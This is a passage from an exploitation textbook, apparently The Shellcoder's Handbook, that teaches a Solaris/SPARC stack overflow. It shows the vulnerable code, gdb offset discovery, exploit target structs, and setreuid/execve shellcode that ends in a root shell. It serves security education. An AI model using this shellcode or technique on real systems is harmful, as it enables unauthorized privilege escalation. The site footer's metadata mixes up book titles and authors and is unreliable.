Stack Overflow Exploitation In Action

The principles for stack-based exploitation on Solaris/SPARC tend to make more sense when demonstrated. The following example will cover how to exploit a simple stack-based overflow in a hypothetical Solaris application, applying the techniques mentioned in this chapter.

The Vulnerable Program

The vulnerable program in this example was created specifically to demonstrate a simple case of stack-based overflow exploitation. It represents the least complicated case you might find in a real application; however, it's definitely a good starting point. The vulnerable code is as follows :

 int vulnerable_function(char *userinput) {         char buf[64];         strcpy(buf,userinput);         return 1; } 

In this case, userinput is the first program argument passed from the command line. Note that the program will return twice before exiting, giving us the possibility of exploiting this bug.

When the code is compiled, a disassembly from IDA Pro looks like the following:

 vulnerable_function:            var_50           = -0x50         arg_44           = 0x44                       save    %sp, -0xb0, %sp                   st      %i0, [%fp+arg_44]                   add     %fp, var_50, %o0                   ld      [%fp+arg_44], %o1                   call    _strcpy                   NOP 

The first argument to strcpy is the destination buffer, which is located 80 bytes ( 0x50 ) before the frame pointer, in this case. The stack frame for the calling function can usually be found following this, starting out with the saved register window. The first absolutely critical register within this window would be the frame pointer %fp , which would be the fifteenth saved register and located at an offset 56 bytes into the register window. Therefore, it's expected that by sending a string of exactly 136 bytes as the first argument, the highest byte of the frame pointer will be corrupted, causing the program to crash. Let's verify that.

First, we run with a first argument of 135 bytes.

 # gdb ./stack_overflow GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you  are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.  Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)... (gdb) r `perl -e "print 'A' x 135"` Starting program: /test/./stack_overflow `perl -e "print 'A' x 135"` (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program exited normally. 

As you can see, when we overwrite the registers not critical for program execution but leave the frame pointer and instruction pointer untouched, the program exits normally and does not crash.

However, when we add one extra byte to the first program argument, the behavior is much different.

 (gdb) r `perl -e "print 'A' x 136"` Starting program: /test/./stack_overflow `perl -e "print 'A' x 136"` (no debugging symbols found)...(no debugging symbols found)...(no  debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x10704 in main () (gdb) x/i $pc 0x10704 <main+88>:      restore  (gdb) print/x $fp  = 0xbffd28 (gdb) print/x $i5  = 0x41414141 (gdb) 

In this case, the high byte of the frame pointer ( %i6 , or %fp ) has been overwritten by the null byte terminating the first argument. As you can see, the previous saved register %i5 has been corrupted with A s. Immediately following the saved frame pointer is the saved instruction pointer, and overwriting that will result in arbitrary code execution. We know the string size necessary to overwrite critical information, and are now ready to start exploit development.

The Exploit

An exploit for this vulnerability will be relatively simple. It will execute the vulnerable program with a first argument long enough to trigger the overflow. Because this is going to be a local exploit, we will fully control the environment variables , and this will be a good place to reliably place and execute shellcode. The only remaining information that is really necessary is the address of the shellcode in memory, and we can create a fully functional exploit.

The exploit contains a target structure that specifies different platform specific information that changes from one OS version to the next .

 struct {         char *name;         int length_until_fp;         unsigned long fp_value;         unsigned long pc_value;         int align; } targets[] = {             {                 "Solaris 9 Ultra-Sparc",                 136,                 0xffbf1238,                 0xffbf1010,                 0         }     }; 

The structure contains the length necessary to begin to overwrite the frame pointer, as well as a value with which to overwrite the frame pointer and program counter. The exploit code itself simply constructs a string starting with 136 bytes of padding, followed by the specified frame pointer and program counter values. The following shellcode is included in the exploit, and is put into the program environment along with NOP padding.

 static char setreuid_code[]=    "\x90\x1d\xc0\x17"      // xor %l7, %l7, %o0                                 "\x92\x1d\xc0\x17"      // xor %l7, %l7, %o1                                 "\x82\x10\x20\xca"      // mov 202, %g1                                 "\x91\xd0\x20\x08";     // ta 8     static char shellcode[]="\x20\xbf\xff\xff"  // bn,a scode - 4                         "\x20\xbf\xff\xff"  // bn,a scode                         "\x7f\xff\xff\xff"  // call scode + 4                         "\x90\x03\xe0\x20"  // add %o7, 32, %o0                         "\x92\x02\x20\x08"  // add %o0, 8, %o1                         "\xd0\x22\x20\x08"  // st %o0, [%o0 + 8]                         "\xc0\x22\x60\x04"  // st %g0, [%o1 + 4]                         "\xc0\x2a\x20\x07"  // stb %g0, [%o0 + 7]                         "\x82\x10\x20\x0b"  // mov 11, %g1                         "\x91\xd0\x20\x08"  // ta 8                         "/bin/sh"; 

The shellcode does a setreuid(0,0) , first to set the real and effective user ID to root , and following this runs the execv shellcode discussed earlier.

 The exploit, on its first run, does the following: # gdb ./stack_exploit GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you  Are welcome to change it and/or distribute copies of it under certain  conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.  Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)... (gdb) r 0 Starting program: /test/./stack_exploit 0 (no debugging symbols found)...(no debugging symbols found)...(no  debugging symbols found)... Program received signal SIGTRAP, Trace/breakpoint trap. 0xff3c29a8 in ?? () (gdb) c Continuing. Program received signal SIGILL, Illegal instruction. 0xffbf1018 in ?? () (gdb) 

The exploit appears to have worked as was expected. We overwrote the program counter with the value we specified in our exploit, and upon return, execution was transferred to that point. At that time, the program crashed because an illegal instruction happened to be at that address, but we now have the ability to point execution to an arbitrary point in the process address space. The next step is to look for our shellcode in memory and redirect execution to that address.

Our shellcode should be very recognizable because it is padded with a large number of NOP -like instructions. We know that it's in the program environment, and should therefore be located somewhere near the top of the stack, so let's look for it there.

 (gdb) x/128x $sp 0xffbf1238:     0x00000000      0x00000000      0x00000000      0x00000000 0xffbf1248:     0x00000000      0x00000000      0x00000000      0x00000000 0xffbf1258:     0x00000000      0x00000000      0x00000000      0x00000000 0xffbf1268:     0x00000000      0x00000000      0x00000000      0x00000000 

After hitting Enter a few dozen times, we locate something that looks very much like our shellcode on the stack.

 (gdb) 0xffbffc38:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018 0xffbffc48:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018 0xffbffc58:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018 0xffbffc68:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018 

The repetitive byte pattern is our padding instruction, and it's located on the stack at an address of 0xffbffe44 . However, something obviously isn't quite right. Within the exploit, the no operation instruction used is defined as:

 #define NOP "\x80\x18\x2f\xff" 

The byte pattern in memory as aligned on the 4-byte boundary is \x2f\xff\x80\x18 . Since SPARC instructions are always 4-byte aligned, we can't simply point our overwritten program counter at an address 2 bytes off the boundary. This would result in an immediate BUS fault. However, by adding two padding bytes to the environment variable we are able to correctly align our shellcode and place our instructions correctly on the 4-byte boundary. With this change made, and an exploit pointed at the right place in memory, we should be able to execute a shell.

 struct {         char *name;         int length_until_fp;         unsigned long fp_value;         unsigned long pc_value;         int align; } targets[] = {             {                 "Solaris 9 Ultra-Sparc",                 136,                 0xffbf1238,                 0xffbffc38,                 2         }     }; 

The corrected exploit should now execute a shell. Let's verify that it does.

 $ uname -a SunOS unknown 5.9 Generic sun4u sparc SUNW,Ultra-5_10 $ ls -al stack_overflow -rwsr-xr-x   1 root     other       6800 Aug 19 20:22 stack_overflow $ id uid=60001(nobody) gid=60001(nobody) $ ./stack_exploit 0 # id uid=0(root) gid=60001(nobody) # 

This exploit example was a best-case scenario for exploitation, in which none of the complicating factors mentioned previously came into play. With luck, however, exploitation of most stack-based overflows should be nearly as simple. You can find the files (stack_overflow.c and stack_exploit.c) that correspond to this vulnerability and exploit example at www. wiley .com/compbooks/koziol .



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net